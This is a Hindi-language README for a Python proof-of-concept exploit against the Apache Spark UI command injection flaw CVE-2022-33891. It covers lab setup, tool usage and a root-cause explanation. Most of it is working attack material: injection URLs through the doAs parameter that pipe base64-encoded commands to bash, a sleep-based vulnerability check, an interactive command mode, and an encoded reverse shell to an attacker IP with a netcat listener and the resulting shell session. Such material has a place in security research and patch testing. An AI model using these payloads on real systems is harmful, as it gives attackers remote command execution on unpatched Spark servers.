
Python प्रूफ-ऑफ-कॉन्सेप्ट Apache Spark Shell Command Injection (CVE-2022-33891) के लिए, जिसमें sleep-आधारित पहचान, इंटरैक्टिव कमांड निष्पादन, और कमजोर Spark UIs के विरुद्ध रिवर्स शेल क्षमताएँ शामिल हैं।
Apache Spark शेल कमांड इंजेक्शन भेद्यता
Apache Spark शेल कमांड इंजेक्शन भेद्यता का शोषण करने के लिए एक Python POC। मैंने बाहर कुछ अन्य POCs देखे लेकिन वे बहुत संदिग्ध लग रहे थे। यह एक साफ और सरल है।
मैंने इस शोषण/भेद्यता की खोज नहीं की। मैं सिर्फ समुदाय के लिए एक सुरक्षित POC बनाना चाहता था ^.^
Apache Spark संस्करण 3.0.3 और पहले, संस्करण 3.1.1 से 3.1.2, और संस्करण 3.2.0 से 3.2.1
http://localhost:8080/?doAs=`[यहाँ कमांड इंजेक्शन]`
उदाहरण
http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash`
... 10 सेकंड के लिए सोता है
आपको स्पार्क का एक भेद्य संस्करण चाहिए जिसमें एक एकल कॉन्फ़िग विकल्प बदला गया हो।
$ pip3 install -r requirements.txtspark/ निर्देशिका में निर्देशिका बदलें।spark/ निर्देशिका में दिए गए docker-compose.yml का उपयोग करें और docker-compose up चलाएँ। कंटेनर को स्पिन अप होने दें।sudo docker exec -it spark_spark_1 /bin/bash दर्ज करें।echo "spark.acls.enable true" >> conf/spark-defaults.confdocker-compose up को फिर से चलाएँusage: poc.py [-h] -u URL -p PORT [--revshell] [-lh LISTENINGHOST] [-lp LISTENINGPORT] [--check]
CVE-2022-33891 Python POC शोषण स्क्रिप्ट
वैकल्पिक तर्क:
-h, --help यह सहायता संदेश दिखाएँ और बाहर निकलें
-u URL, --url URL शोषण करने के लिए URL.
-p PORT, --port PORT शोषण लक्ष्य का पोर्ट.
--revshell रिवर्स शेल विकल्प.
-lh LISTENINGHOST, --listeninghost LISTENINGHOST
आपका सुनने वाला होस्ट IP पता.
-lp LISTENINGPORT, --listeningport LISTENINGPORT
आपका सुनने वाला होस्ट पोर्ट.
--check स्लीप टेस्ट के साथ जाँचता है कि लक्ष्य शोषण योग्य है या नहीं
जाँचें कि लक्ष्य भेद्य है या नहीं:
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --check
[*] साइट से कनेक्ट करने का प्रयास किया जा रहा है...
[*] 10 सेकंड का स्लीप टेस्ट किया जा रहा है...
[*] पूर्ण शोषण अनुरोध है: http://localhost:8080/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
[+] स्लीप 10 सेकंड था! यह लक्ष्य संभवतः भेद्य है!
एक कमांड प्रॉम्प्ट लूप में कमांड जारी करें:
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080
[*] "इंटरैक्टिव" मोड!
[!] नोट: आपको इन कमांड से कोई आउटपुट प्राप्त नहीं होगा। निष्पादन का परीक्षण करने के लिए ping या sleep जैसी किसी चीज़ का उपयोग करने का प्रयास करें।
> sleep 5
[*] पूर्ण शोषण अनुरोध है: http://localhost:8080/?doAs=`echo c2xlZXAgNQ== | base64 -d | bash`
>
एक रिवर्स शेल निष्पादित करें:
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --revshell -lh 192.168.138.131 -lp 1337
[*] रिवर्स शेल मोड।
[*] निम्नलिखित दर्ज करके अपना सुनने वाला सेट अप करें:
nc -nvlp 1337
[!] जब आपका सुनने वाला सेट अप हो जाए, तो एंटर दबाएँ!
[*] पूर्ण शोषण अनुरोध है: http://localhost:8080/?doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMzguMTMxLzEzMzcgMD4mMQ== | base64 -d | bash`
...[दूसरे टर्मिनल में]...
husky@dev-kde:~/spark$ nc -nvlp 1337
Listening on 0.0.0.0 1337
Connection received on 172.21.0.2 55278
sh: 0: can't access tty; job control turned off
$ whoami
spark
कमांड इंजेक्शन इसलिए होता है क्योंकि Spark ?doAs पैरामीटर में पारित उपयोगकर्ता की समूह सदस्यता की जाँच एक कच्चे लिनक्स कमांड का उपयोग करके करता है।
id को उपयोगकर्ता के रूप में पारित करने से ट्रेसबैक में यह त्रुटि उत्पन्न होती है:
spark_1 | 22/07/20 11:55:58 INFO Utils: id: 'id': no such user
spark_1 | 22/07/20 11:55:58 ERROR Utils: Process List(bash, -c, id -Gn 'id') exited with code 1:
spark_1 | 22/07/20 11:55:58 ERROR Utils: Error getting groups for user='id'
spark_1 | org.apache.spark.SparkException: Process List(bash, -c, id -Gn 'id') exited with code 1
यहाँ, जावा ने निर्णय लिया है कि एक निर्दिष्ट उपयोगकर्ता के लिए समूह सदस्यता की जाँच करने के लिए id कमांड को bash -c में पारित करना सबसे अच्छा होगा। समस्या यह है कि यह कमांड इंजेक्शन की भी अनुमति देता है।
पैच किए गए संस्करण bash -c id के बजाय /bin/id कमांड का पूरा पथ रखने के लिए इस कॉल को पैरामीट्रिज़ करते हैं।
यह ध्यान देने योग्य है कि कमांड निष्पादन के दौरान पृष्ठ पर कुछ भी प्रतिबिंबित नहीं होता है, इसलिए यह ब्लाइंड OS इंजेक्शन है। आपके कमांड चलते हैं, लेकिन इसका कोई संकेत नहीं होगा कि वे काम कर रहे हैं या नहीं या यहां तक कि आप जिस प्रोग्राम को चला रहे हैं वह लक्ष्य पर है या नहीं। उदाहरण के लिए, इस रिपॉजिटरी में docker-compose.yml फ़ाइल के साथ स्पिन किए गए कंटेनर में ping नहीं है, इसलिए पिंगबैक के माध्यम से कमांड इंजेक्शन की जाँच करना काम नहीं करेगा। लेकिन आपको पता नहीं चलेगा कि ऐसा है, इसलिए आप सोचते रहेंगे कि यह काम किया या नहीं।
स्लीप टेस्ट एक सुरक्षित शर्त है ^.^